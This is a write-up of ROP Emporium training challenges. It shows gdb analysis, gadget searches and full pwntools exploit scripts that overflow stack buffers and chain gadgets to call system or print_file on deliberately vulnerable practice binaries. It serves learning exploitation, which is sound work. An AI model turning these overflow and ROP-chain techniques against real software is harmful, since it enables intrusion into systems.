Ropemporium Challenge Writeups

16 minute read

ROPEmporium Challenge Writeups

Overview

Writeups for some of the ROPEmporium challenges that I completed whilst learning about Return Oriented Programming. The writeup includes 32 and 64 bit versions for ret2win, split, callme, write and badchars.

ROPEmporium Challenges

ret2win

Ret2win is a basic challenge that involves overwriting a return address with the address of the win function.

64bit

Running checksec allows us to verify the architecture and discover any other security measures.

  > checksec ret2win
  
  [*] '/home/sam/CTF/Pwn/RopEmporium/ret2win/64bit/ret2win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)


Checksec tells us that it’s a 64bit binary. We can get more information with gdb to see the available functions and disassembled code.

  gef➤  info function

  All defined functions:
  Non-debugging symbols:
  0x0000000000400528  _init
  0x0000000000400550  puts@plt
  0x0000000000400560  system@plt
  0x0000000000400570  printf@plt
  0x0000000000400580  memset@plt
  0x0000000000400590  read@plt
  0x00000000004005a0  setvbuf@plt
  0x00000000004005b0  _start
  0x00000000004005e0  _dl_relocate_static_pie
  0x00000000004005f0  deregister_tm_clones
  0x0000000000400620  register_tm_clones
  0x0000000000400660  __do_global_dtors_aux
  0x0000000000400690  frame_dummy
  0x0000000000400697  main
  0x00000000004006e8  pwnme
  0x0000000000400756  ret2win
  0x0000000000400780  __libc_csu_init
  0x00000000004007f0  __libc_csu_fini
  0x00000000004007f4  _fini


Gdb shows us the main, pwnme and ret2win functions. Disassembling these gives us the function calls and where they are used in the program.

  gef➤  disass main

  Dump of assembler code for function main:
     0x0000000000400697 <+0>:	push   rbp
     0x0000000000400698 <+1>:	mov    rbp,rsp
     0x000000000040069b <+4>:	mov    rax,QWORD PTR [rip+0x2009b6]        # 0x601058 <stdout@@GLIBC_2.2.5>
     0x00000000004006a2 <+11>:	mov    ecx,0x0
     0x00000000004006a7 <+16>:	mov    edx,0x2
     0x00000000004006ac <+21>:	mov    esi,0x0
     0x00000000004006b1 <+26>:	mov    rdi,rax
     0x00000000004006b4 <+29>:	call   0x4005a0 <setvbuf@plt>
     0x00000000004006b9 <+34>:	mov    edi,0x400808
     0x00000000004006be <+39>:	call   0x400550 <puts@plt>
     0x00000000004006c3 <+44>:	mov    edi,0x400820
     0x00000000004006c8 <+49>:	call   0x400550 <puts@plt>
     0x00000000004006cd <+54>:	mov    eax,0x0
     0x00000000004006d2 <+59>:	call   0x4006e8 <pwnme>
     0x00000000004006d7 <+64>:	mov    edi,0x400828
     0x00000000004006dc <+69>:	call   0x400550 <puts@plt>
     0x00000000004006e1 <+74>:	mov    eax,0x0
     0x00000000004006e6 <+79>:	pop    rbp
     0x00000000004006e7 <+80>:	ret    
  End of assembler dump.

  gef➤  disass pwnme

  Dump of assembler code for function pwnme:
     0x00000000004006e8 <+0>:	push   rbp
     0x00000000004006e9 <+1>:	mov    rbp,rsp
     0x00000000004006ec <+4>:	sub    rsp,0x20
     0x00000000004006f0 <+8>:	lea    rax,[rbp-0x20]
     0x00000000004006f4 <+12>:	mov    edx,0x20
     0x00000000004006f9 <+17>:	mov    esi,0x0
     0x00000000004006fe <+22>:	mov    rdi,rax
     0x0000000000400701 <+25>:	call   0x400580 <memset@plt>
     0x0000000000400706 <+30>:	mov    edi,0x400838
     0x000000000040070b <+35>:	call   0x400550 <puts@plt>
     0x0000000000400710 <+40>:	mov    edi,0x400898
     0x0000000000400715 <+45>:	call   0x400550 <puts@plt>
     0x000000000040071a <+50>:	mov    edi,0x4008b8
     0x000000000040071f <+55>:	call   0x400550 <puts@plt>
     0x0000000000400724 <+60>:	mov    edi,0x400918
     0x0000000000400729 <+65>:	mov    eax,0x0
     0x000000000040072e <+70>:	call   0x400570 <printf@plt>
     0x0000000000400733 <+75>:	lea    rax,[rbp-0x20]
     0x0000000000400737 <+79>:	mov    edx,0x38
     0x000000000040073c <+84>:	mov    rsi,rax
     0x000000000040073f <+87>:	mov    edi,0x0
     0x0000000000400744 <+92>:	call   0x400590 <read@plt>
     0x0000000000400749 <+97>:	mov    edi,0x40091b
     0x000000000040074e <+102>:	call   0x400550 <puts@plt>
     0x0000000000400753 <+107>:	nop
     0x0000000000400754 <+108>:	leave  
     0x0000000000400755 <+109>:	ret    
  End of assembler dump.

  gef➤  disass ret2win

  Dump of assembler code for function ret2win:
     0x0000000000400756 <+0>:	push   rbp
     0x0000000000400757 <+1>:	mov    rbp,rsp
     0x000000000040075a <+4>:	mov    edi,0x400926
     0x000000000040075f <+9>:	call   0x400550 <puts@plt>
     0x0000000000400764 <+14>:	mov    edi,0x400943
     0x0000000000400769 <+19>:	call   0x400560 <system@plt>
     0x000000000040076e <+24>:	nop
     0x000000000040076f <+25>:	pop    rbp
     0x0000000000400770 <+26>:	ret    
  End of assembler dump.


Main and pwnme are used already, but we need access to ret2win. The solution here is to overflow the buffer by finding the offset and replacing the return address with the address of the function. We will find the offset using pattern create in GDB.

  gef➤  pattern create 50
   
  [+] Generating a pattern of 50 bytes
  aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga
  [+] Saved as '$_gef2'
  
  gef➤  run
  
  Starting program: /home/sam/CTF/Pwn/RopEmporium/ret2win/64bit/ret2win 
  ret2win by ROP Emporium
  x86_64

  For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
  What could possibly go wrong?
  You there, may I have your input please? And don't worry about null bytes, we're using read()!

  > aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga
  Thank you!

  Program received signal SIGSEGV, Segmentation fault.
  0x0000000000400755 in pwnme ()

  [ Legend: Modified register | Code | Heap | Stack | String ]
  ─────────────────────────────────────────────────────────────────────────────── registers ────
  $rax   : 0xb               
  $rbx   : 0x0               
  $rcx   : 0x00007ffff7ed4f33  →  0x5577fffff0003d48 ("H="?)
  $rdx   : 0x0               
  $rsp   : 0x00007fffffffdf58  →  "faaaaaaaga\n"
  $rbp   : 0x6161616161616165 ("eaaaaaaa"?)
  $rsi   : 0x00007ffff7fa5723  →  0xfa7670000000000a
  $rdi   : 0x00007ffff7fa7670  →  0x0000000000000000
  $rip   : 0x0000000000400755  →  <pwnme+109> ret 
  $r8    : 0xb               
  $r9    : 0x2               
  $r10   : 0xfffffffffffff288
  $r11   : 0x246             
  $r12   : 0x00000000004005b0  →  <_start+0> xor ebp, ebp
  $r13   : 0x0               
  $r14   : 0x0               
  $r15   : 0x0               
  $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
  $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
  ─────────────────────────────────────────────────────────────────────────────────── stack ────
  0x00007fffffffdf58│+0x0000: "faaaaaaaga\n"	 ← $rsp
  0x00007fffffffdf60│+0x0008: 0x00000000000a6167 ("ga\n"?)
  0x00007fffffffdf68│+0x0010: 0x00007ffff7e0cd0a  →  <__libc_start_main+234> mov edi, eax
  0x00007fffffffdf70│+0x0018: 0x00007fffffffe058  →  0x00007fffffffe374  →  "/home/sam/CTF/Pwn/RopEmporium/ret2win/64bit/ret2wi[...]"
  0x00007fffffffdf78│+0x0020: 0x00000001ffffe359
  0x00007fffffffdf80│+0x0028: 0x0000000000400697  →  <main+0> push rbp
  0x00007fffffffdf88│+0x0030: 0x00007ffff7e0c8e9  →  <init_cacheinfo+569> mov r8, rax
  0x00007fffffffdf90│+0x0038: 0x0000000000000000
  ───────────────────────────────────────────────────────────────────────────── code:x86:64 ────
       0x40074e <pwnme+102>      call   0x400550 <puts@plt>
       0x400753 <pwnme+107>      nop    
       0x400754 <pwnme+108>      leave  
   →   0x400755 <pwnme+109>      ret    
  [!] Cannot disassemble from $PC
  ───────────────────────────────────────────────────────────────────────────────── threads ────
  [#0] Id 1, Name: "ret2win", stopped 0x400755 in pwnme (), reason: SIGSEGV
  ─────────────────────────────────────────────────────────────────────────────────── trace ────
  [#0] 0x400755 → pwnme()
  ──────────────────────────────────────────────────────────────────────────────────────────────
  
  gef➤  pattern offset 0x6161616161616165 50
  
  [+] Searching '0x6161616161616165'
  [+] Found at offset 32 (little-endian search) likely
  [+] Found at offset 25 (big-endian search)


This offset is based off rbp which represents an address at the top of the stack. In order to overwrite rip we need to create a payload at the offset of 40.

  from pwn import *

  # Connect
  elf = ELF('./ret2win')
  p = process('./ret2win')

  # Function address
  win_addr = elf.symbols['ret2win']

  # Payload 
  payload = b'A'*40
  payload += p64(win_addr)

  p.recvuntil('> ')
  p.sendline(payload)

  print(p.recvall())


Running this exploit will print out the contents of the flag file as instructed by the ret2win function.

32bit

Checksec:

  > checksec ret2win32
  
  [*] '/home/sam/CTF/Pwn/RopEmporium/ret2win/32bit/ret2win32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)


This challenge file is identical to the last only it’s now in 32bit. The functions remain the same when disassembled so we only need to adjust the exploit to work with the new binary. The main change will come from the offset which will be found using pattern create and pattern offset.

  gef➤  pattern create 50
  
  [+] Generating a pattern of 50 bytes
  aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
  [+] Saved as '$_gef0'
  
  gef➤  run
  
  Starting program: /home/sam/CTF/Pwn/RopEmporium/ret2win/32bit/ret2win32 
  ret2win by ROP Emporium
  x86

  For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
  What could possibly go wrong?
  You there, may I have your input please? And don't worry about null bytes, we're using read()!

  > aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
  Thank you!

  Program received signal SIGSEGV, Segmentation fault.
  0x6161616c in ?? ()

  [ Legend: Modified register | Code | Heap | Stack | String ]
  ─────────────────────────────────────────────────────────────────────────────── registers ────
  $eax   : 0xb       
  $ebx   : 0x0       
  $ecx   : 0xffffffff
  $edx   : 0xffffffff
  $esp   : 0xffffd0d0  →  0xf70a616d
  $ebp   : 0x6161616b ("kaaa"?)
  $esi   : 0xf7fa8000  →  0x001e4d6c
  $edi   : 0xf7fa8000  →  0x001e4d6c
  $eip   : 0x6161616c ("laaa"?)
  $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
  $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
  ─────────────────────────────────────────────────────────────────────────────────── stack ────
  0xffffd0d0│+0x0000: 0xf70a616d	 ← $esp
  0xffffd0d4│+0x0004: 0xffffd0f0  →  0x00000001
  0xffffd0d8│+0x0008: 0x00000000
  0xffffd0dc│+0x000c: 0xf7de1e46  →  <__libc_start_main+262> add esp, 0x10
  0xffffd0e0│+0x0010: 0xf7fa8000  →  0x001e4d6c
  0xffffd0e4│+0x0014: 0xf7fa8000  →  0x001e4d6c
  0xffffd0e8│+0x0018: 0x00000000
  0xffffd0ec│+0x001c: 0xf7de1e46  →  <__libc_start_main+262> add esp, 0x10
  ───────────────────────────────────────────────────────────────────────────── code:x86:32 ────
  [!] Cannot disassemble from $PC
  [!] Cannot access memory at address 0x6161616c
  ───────────────────────────────────────────────────────────────────────────────── threads ────
  [#0] Id 1, Name: "ret2win32", stopped 0x6161616c in ?? (), reason: SIGSEGV
  ─────────────────────────────────────────────────────────────────────────────────── trace ────
  ──────────────────────────────────────────────────────────────────────────────────────────────
  
  gef➤  pattern offset 0x6161616c 50
  
  [+] Searching '0x6161616c'
  [+] Found at offset 44 (little-endian search) likely
  [+] Found at offset 41 (big-endian search) 


Adjusting the payload and executing this exploit will get us the flag.

  from pwn import *

  elf = ELF('./ret2win32')
  p = process('./ret2win32')

  win_addr = elf.symbols['ret2win']

  payload = b'A'*44
  payload += p32(win_addr)

  p.recvuntil('> ')
  p.sendline(payload)

  print(p.recvall())


split

Basic ROP challenge that requires the use of gadgets to call a function with a desirable parameter.

64bit

Checksec:

  > checksec split
  
  [*] '/home/sam/CTF/Pwn/RopEmporium/split/64bit/split'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)


Check shows us the current security protections and that it is 64 bit. We can take a look at gdb to find some information on the functions. Most of them will be the same as prior challenges.

  gef➤  info functions

  All defined functions:
  Non-debugging symbols:
  0x0000000000400528  _init
  0x0000000000400550  puts@plt
  0x0000000000400560  system@plt
  0x0000000000400570  printf@plt
  0x0000000000400580  memset@plt
  0x0000000000400590  read@plt
  0x00000000004005a0  setvbuf@plt
  0x00000000004005b0  _start
  0x00000000004005e0  _dl_relocate_static_pie
  0x00000000004005f0  deregister_tm_clones
  0x0000000000400620  register_tm_clones
  0x0000000000400660  __do_global_dtors_aux
  0x0000000000400690  frame_dummy
  0x0000000000400697  main
  0x00000000004006e8  pwnme
  0x0000000000400742  usefulFunction
  0x0000000000400760  __libc_csu_init
  0x00000000004007d0  __libc_csu_fini
  0x00000000004007d4  _fini


The main difference here is the usefulFunction function that we can disassemble for more information.

  gef➤  disass usefulFunction
  
  Dump of assembler code for function usefulFunction:
   0x0000000000400742 <+0>:	push   rbp
   0x0000000000400743 <+1>:	mov    rbp,rsp
   0x0000000000400746 <+4>:	mov    edi,0x40084a
   0x000000000040074b <+9>:	call   0x400560 <system@plt>
   0x0000000000400750 <+14>:	nop
   0x0000000000400751 <+15>:	pop    rbp
   0x0000000000400752 <+16>:	ret    
  End of assembler dump.


We see a system call here and some value being put into edi. We can call this system call using a rop gadget. We just need something to pass into it as an argument.

  > ROPgadget --binary split
  
  x000000000040060b : pop rbp ; mov edi, 0x601078 ; jmp rax
  0x00000000004007bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
  0x00000000004007bf : pop rbp ; pop r14 ; pop r15 ; ret
  0x0000000000400618 : pop rbp ; ret
  0x00000000004007c3 : pop rdi ; ret
  0x00000000004007c1 : pop rsi ; pop r15 ; ret
  0x00000000004007bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret


We will use the pop rdi gadget in this exploit. Next we will find a string to use as the argument.

  gef➤  search-pattern /bin/
  
  [+] Searching '/bin/' in memory
  [+] In '/home/sam/CTF/Pwn/RopEmporium/split/64bit/split'(0x400000-0x401000), permission=r-x
    0x40084a - 0x400851  →   "/bin/ls" 
  [+] In '/home/sam/CTF/Pwn/RopEmporium/split/64bit/split'(0x600000-0x601000), permission=r--
    0x60084a - 0x600851  →   "/bin/ls" 
  [+] In '/home/sam/CTF/Pwn/RopEmporium/split/64bit/split'(0x601000-0x602000), permission=rw-
    0x601060 - 0x601071  →   "/bin/cat flag.txt" 
  [+] In '/usr/lib/x86_64-linux-gnu/libc-2.31.so'(0x7ffff7f50000-0x7ffff7f9a000), permission=r--
    0x7ffff7f6a156 - 0x7ffff7f6a15d  →   "/bin/sh" 
    0x7ffff7f6babd - 0x7ffff7f6bac5  →   "/bin/csh" 
  [+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
    0x7fffffffe389 - 0x7fffffffe392  →   "/bin/bash" 
    0x7fffffffe604 - 0x7fffffffe60c  →   "/bin/gdb"


I searched for /bin here to give me any results that would include commands like ls, cat and sh. We found /bin/cat flag.txt and can use this in the exploit. To exploit this program we just need to call system with the correct argument.

  from pwn import *

  # Connect
  elf = ELF('./split')
  p = process('./split')

  # Gadget
  pop_rdi = 0x00000000004007c3

  # Addresses
  system_addr = 0x400560
  bin_cat_addr = 0x00601060

  # Payload
  payload = b'A'*40
  payload += p64(pop_rdi)
  payload += p64(bin_cat_addr)
  payload += p64(system_addr)

  p.recvuntil('> ')
  p.sendline(payload)

  print(p.recvall())


32bit

The 32bit version is very similar do 64bit but does not require a ROP gadget to call system and /bin/cat flag.txt. As was done with 64bit we will find the system address with info functions and the address of /bin/cat flag.txt with a pattern search.

  gef➤  search-pattern "/bin"
  
  [+] Searching '/bin' in memory
  [+] In '/home/sam/CTF/Pwn/RopEmporium/split/32bit/split32'(0x8048000-0x8049000), permission=r-x
    0x804870e - 0x8048715  →   "/bin/ls" 
  [+] In '/home/sam/CTF/Pwn/RopEmporium/split/32bit/split32'(0x8049000-0x804a000), permission=r--
    0x804970e - 0x8049715  →   "/bin/ls" 
  [+] In '/home/sam/CTF/Pwn/RopEmporium/split/32bit/split32'(0x804a000-0x804b000), permission=rw-
    0x804a030 - 0x804a041  →   "/bin/cat flag.txt"


The final payload will be similar to the last one, we just need to replace some addresses.

  from pwn import *

  # Connect
  elf = ELF('./split32')
  p = process('./split32')

  # Addresses
  system_addr = 0x80483e6
  bin_cat_addr = 0x0804a030

  # Payload
  payload = b'A'*44
  payload += p32(system_addr)
  payload += b'BBBB'
  payload += p32(bin_cat_addr)

  p.recvuntil('> ')
  p.sendline(payload)

  print(p.recvall())


callme

Requires a ROP chain that allows you to call 3 functions in a specific order.

64bit

The 64bit version of the challenge requires the user to call 3 functions in the correct order to get the flag. Most of the functions remain the same as previous ROPEmporium challenges except for usefulFunction and not usefulGadget.

  gef➤  info functions
  
  All defined functions:
  Non-debugging symbols:
  0x00000000004006a8  _init
  0x00000000004006d0  puts@plt
  0x00000000004006e0  printf@plt
  0x00000000004006f0  callme_three@plt
  0x0000000000400700  memset@plt
  0x0000000000400710  read@plt
  0x0000000000400720  callme_one@plt
  0x0000000000400730  setvbuf@plt
  0x0000000000400740  callme_two@plt
  0x0000000000400750  exit@plt
  0x0000000000400760  _start
  0x0000000000400790  _dl_relocate_static_pie
  0x00000000004007a0  deregister_tm_clones
  0x00000000004007d0  register_tm_clones
  0x0000000000400810  __do_global_dtors_aux
  0x0000000000400840  frame_dummy
  0x0000000000400847  main
  0x0000000000400898  pwnme
  0x00000000004008f2  usefulFunction
  0x000000000040093c  usefulGadgets
  0x0000000000400940  __libc_csu_init
  0x00000000004009b0  __libc_csu_fini
  0x00000000004009b4  _fini
  
  gef➤  disass usefulFunction
  
  Dump of assembler code for function usefulFunction:
     0x00000000004008f2 <+0>:	push   rbp
     0x00000000004008f3 <+1>:	mov    rbp,rsp
     0x00000000004008f6 <+4>:	mov    edx,0x6
     0x00000000004008fb <+9>:	mov    esi,0x5
     0x0000000000400900 <+14>:	mov    edi,0x4
     0x0000000000400905 <+19>:	call   0x4006f0 <callme_three@plt>
     0x000000000040090a <+24>:	mov    edx,0x6
     0x000000000040090f <+29>:	mov    esi,0x5
     0x0000000000400914 <+34>:	mov    edi,0x4
     0x0000000000400919 <+39>:	call   0x400740 <callme_two@plt>
     0x000000000040091e <+44>:	mov    edx,0x6
     0x0000000000400923 <+49>:	mov    esi,0x5
     0x0000000000400928 <+54>:	mov    edi,0x4
     0x000000000040092d <+59>:	call   0x400720 <callme_one@plt>
     0x0000000000400932 <+64>:	mov    edi,0x1
     0x0000000000400937 <+69>:	call   0x400750 <exit@plt>
  End of assembler dump.
  
  gef➤  disass usefulGadgets
  
  Dump of assembler code for function usefulGadgets:
     0x000000000040093c <+0>:	pop    rdi
     0x000000000040093d <+1>:	pop    rsi
     0x000000000040093e <+2>:	pop    rdx
     0x000000000040093f <+3>:	ret    
  End of assembler dump.


We can assume that the order of usefulFunction is incorrect and that we need to call each function ourselves in the order of 1, 2 and 3. We can start by getting the address of each callme function as well as the ROP gadget.

  callme_one = 0x400720
  callme_two = 0x400740
  callme_three = 0x4006f0


  > ROPgadget --binary callme
  
  0x000000000040099b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
  0x000000000040099f : pop rbp ; pop r14 ; pop r15 ; ret
  0x00000000004007c8 : pop rbp ; ret
  0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
  0x00000000004009a3 : pop rdi ; ret
  0x000000000040093e : pop rdx ; ret
  0x00000000004009a1 : pop rsi ; pop r15 ; ret


We can now construct a payload that calls each function with the required arguments using the pop rdi ; pop rsi ; pop rdx ; ret gadget. THe required arguments for this challenge are found in the challenge description and are as follows. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d). As this is a 64bit binary each one will need to be repeated twice.

  from pwn import *

  # Connect
  elf = ELF('./callme')
  p = process('./callme')

  # Functions and gadget
  callme_one = 0x000000000000400720
  callme_two = 0x000000000000400740
  callme_three = 0x0000000000004006f0
  pop_rdi_rsi_rdx = 0x000000000040093c

  # Payload 
  payload = b'A'*40

  # First call to callme_one with the arguments rdi, rsi and rdx
  payload += p64(pop_rdi_rsi_rdx)
  payload += p64(0xdeadbeefdeadbeef)
  payload += p64(0xcafebabecafebabe)
  payload += p64(0xd00df00dd00df00d)
  payload += p64(callme_one)

  # Second call to callme_two
  payload += p64(pop_rdi_rsi_rdx)
  payload += p64(0xdeadbeefdeadbeef)
  payload += p64(0xcafebabecafebabe)
  payload += p64(0xd00df00dd00df00d)
  payload += p64(callme_two)

  # Third call to callme_three
  payload += p64(pop_rdi_rsi_rdx)
  payload += p64(0xdeadbeefdeadbeef)
  payload += p64(0xcafebabecafebabe)
  payload += p64(0xd00df00dd00df00d)
  payload += p64(callme_three)

  p.recvuntil('> ')
  p.sendline(payload)

  print(p.recvall())


32bit

The 32bit version of this challenge is identical to 64bit, but uses different addresses for the callme functions and the ROP gadget. We can get the new callme addresses with gdb and the ROP gadget with ROPgadget.

  gef➤  info functions
  
  All defined functions:
  Non-debugging symbols:
  0x0804848c  _init
  0x080484c0  read@plt
  0x080484d0  printf@plt
  0x080484e0  callme_three@plt
  0x080484f0  callme_one@plt
  0x08048500  puts@plt
  0x08048510  exit@plt
  0x08048520  __libc_start_main@plt
  0x08048530  setvbuf@plt
  0x08048540  memset@plt
  0x08048550  callme_two@plt
  0x08048560  __gmon_start__@plt
  0x08048570  _start
  0x080485b0  _dl_relocate_static_pie
  0x080485c0  __x86.get_pc_thunk.bx
  0x080485d0  deregister_tm_clones
  0x08048610  register_tm_clones
  0x08048650  __do_global_dtors_aux
  0x08048680  frame_dummy
  0x08048686  main
  0x080486ed  pwnme
  0x0804874f  usefulFunction
  0x080487a0  __libc_csu_init
  0x08048800  __libc_csu_fini
  0x08048804  _fini


  > ROPgadget --binary callme32
  
  0x080487f8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
  0x080484ad : pop ebx ; ret
  0x080487fa : pop edi ; pop ebp ; ret
  0x080487f9 : pop esi ; pop edi ; pop ebp ; ret
  0x08048810 : pop ss ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
  0x080486ea : popal ; cld ; ret


We can construct our exploit in the same way as before and with these new addresses.

  from pwn import *

  # Connect
  elf = ELF('./callme32')
  p = process('./callme32')

  # Addresses
  callme_one_addr = 0x00000000000080484f0
  callme_two_addr = 0x0000000000008048550
  callme_three_addr = 0x00000000000080484e0
  pop_esi_edi_ebp = 0x080487f9

  # Payload
  payload = b'A'*44

  payload += p32(callme_one_addr)
  payload += p32(pop_esi_edi_ebp)
  payload += p32(0xdeadbeef)
  payload += p32(0xcafebabe)
  payload += p32(0xd00df00d)

  payload += p32(callme_two_addr)
  payload += p32(pop_esi_edi_ebp)
  payload += p32(0xdeadbeef)
  payload += p32(0xcafebabe)
  payload += p32(0xd00df00d)

  payload += p32(callme_three_addr)
  payload += p32(pop_esi_edi_ebp)
  payload += p32(0xdeadbeef)
  payload += p32(0xcafebabe)
  payload += p32(0xd00df00d)

  p.recvuntil('> ')
  p.sendline(payload)

  print(p.recvall())


write4

Write4 is a challenge that involves writing some data into memory and using it as the argument of a function.

64bit

The first thing for this challenge will be to look at gdb to see what functions are available and what goes on inside them.

  gef➤  info functions
  
  All defined functions:
  Non-debugging symbols:
  0x00000000004004d0  _init
  0x0000000000400500  pwnme@plt
  0x0000000000400510  print_file@plt
  0x0000000000400520  _start
  0x0000000000400550  _dl_relocate_static_pie
  0x0000000000400560  deregister_tm_clones
  0x0000000000400590  register_tm_clones
  0x00000000004005d0  __do_global_dtors_aux
  0x0000000000400600  frame_dummy
  0x0000000000400607  main
  0x0000000000400617  usefulFunction
  0x0000000000400628  usefulGadgets
  0x0000000000400630  __libc_csu_init
  0x00000000004006a0  __libc_csu_fini
  0x00000000004006a4  _fini
  
  gef➤  disass main
  
  Dump of assembler code for function main:
     0x0000000000400607 <+0>:	push   rbp
     0x0000000000400608 <+1>:	mov    rbp,rsp
     0x000000000040060b <+4>:	call   0x400500 <pwnme@plt>
     0x0000000000400610 <+9>:	mov    eax,0x0
     0x0000000000400615 <+14>:	pop    rbp
     0x0000000000400616 <+15>:	ret    
  End of assembler dump.
  
  gef➤  disass usefulFunction
  
  Dump of assembler code for function usefulFunction:
     0x0000000000400617 <+0>:	push   rbp
     0x0000000000400618 <+1>:	mov    rbp,rsp
     0x000000000040061b <+4>:	mov    edi,0x4006b4
     0x0000000000400620 <+9>:	call   0x400510 <print_file@plt>
     0x0000000000400625 <+14>:	nop
     0x0000000000400626 <+15>:	pop    rbp
     0x0000000000400627 <+16>:	ret    
  End of assembler dump.
  
  gef➤  disass usefulGadgets
  
  Dump of assembler code for function usefulGadgets:
     0x0000000000400628 <+0>:	mov    QWORD PTR [r14],r15
     0x000000000040062b <+3>:	ret    
     0x000000000040062c <+4>:	nop    DWORD PTR [rax+0x0]
  End of assembler dump.


For this challenge we will use print_file to print out a file which in this case will be flag.txt. We just need to figure out how to get flag.txt into memory so that it can be used as an argument. Inside usefulGadgets we see a mov instruction that can be used to put the string into memory. We can find more useful instructions with ROPgadget.

  > ROPgadget --binary write4
  
  0x0000000000400602 : mov ebp, esp ; pop rbp ; jmp 0x400590
  0x000000000040057c : mov edi, 0x601038 ; jmp rax
  0x0000000000400628 : mov qword ptr [r14], r15 ; ret
  0x0000000000400601 : mov rbp, rsp ; pop rbp ; jmp 0x400590
  0x0000000000400625 : nop ; pop rbp ; ret
  0x0000000000400690 : pop r14 ; pop r15 ; ret
  0x0000000000400692 : pop r15 ; ret
  0x0000000000400604 : pop rbp ; jmp 0x400590
  0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
  0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
  0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
  0x0000000000400588 : pop rbp ; ret
  0x0000000000400693 : pop rdi ; ret


In this challenge the useful gadgets include pop r14 ; pop r15 ; ret, pop rdi ; ret and mov qword ptr [r14], r15 ; ret. Using these gadgets will allow us to start by putting any value into r14 and r15. In this case that will be an address in memory we have write access to and 8 bytes that spell out flag.txt. With r14 and r15 containing these, we can use the mov gadget to save flag.txt into the r14 memory address. The last step before actually constructing the exploit is to find a writeable section of memory.

  gef➤  info proc map

  process 1736
  Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /home/sam/CTF/Pwn/RopEmporium/write/64bit/write4
            0x600000           0x601000     0x1000        0x0 /home/sam/CTF/Pwn/RopEmporium/write/64bit/write4
            0x601000           0x602000     0x1000     0x1000 /home/sam/CTF/Pwn/RopEmporium/write/64bit/write4


Among other address spaces we see several blocks of memory, one of which is 1000 bytes long and can be written to. To be safe we will use the 0x601500 address to prevent any accidental results. The final payload can now be constructed.

  from pwn import *

  # Connect
  elf = ELF('./write4')
  p = process('./write4')

  # Gadgets
  mov = 0x0000000000400628 
  pop_r14_r15 = 0x0000000000400690
  pop_rdi = 0x0000000000400693

  # Address to store data and open files
  data_addr = 0x00601500
  file_addr = 0x00400510

  # Move flag.txt into memory
  payload = b'A'*40
  payload += p64(pop_r14_r15)
  payload += p64(data_addr)
  payload += b'flag.txt'
  payload += p64(mov)

  # Read the file
  payload += p64(pop_rdi)
  payload += p64(data_addr)
  payload += p64(file_addr)

  p.recvuntil('> ')
  p.sendline(payload)

  print(p.recvall())


badchars

64bit

32bit

Updated: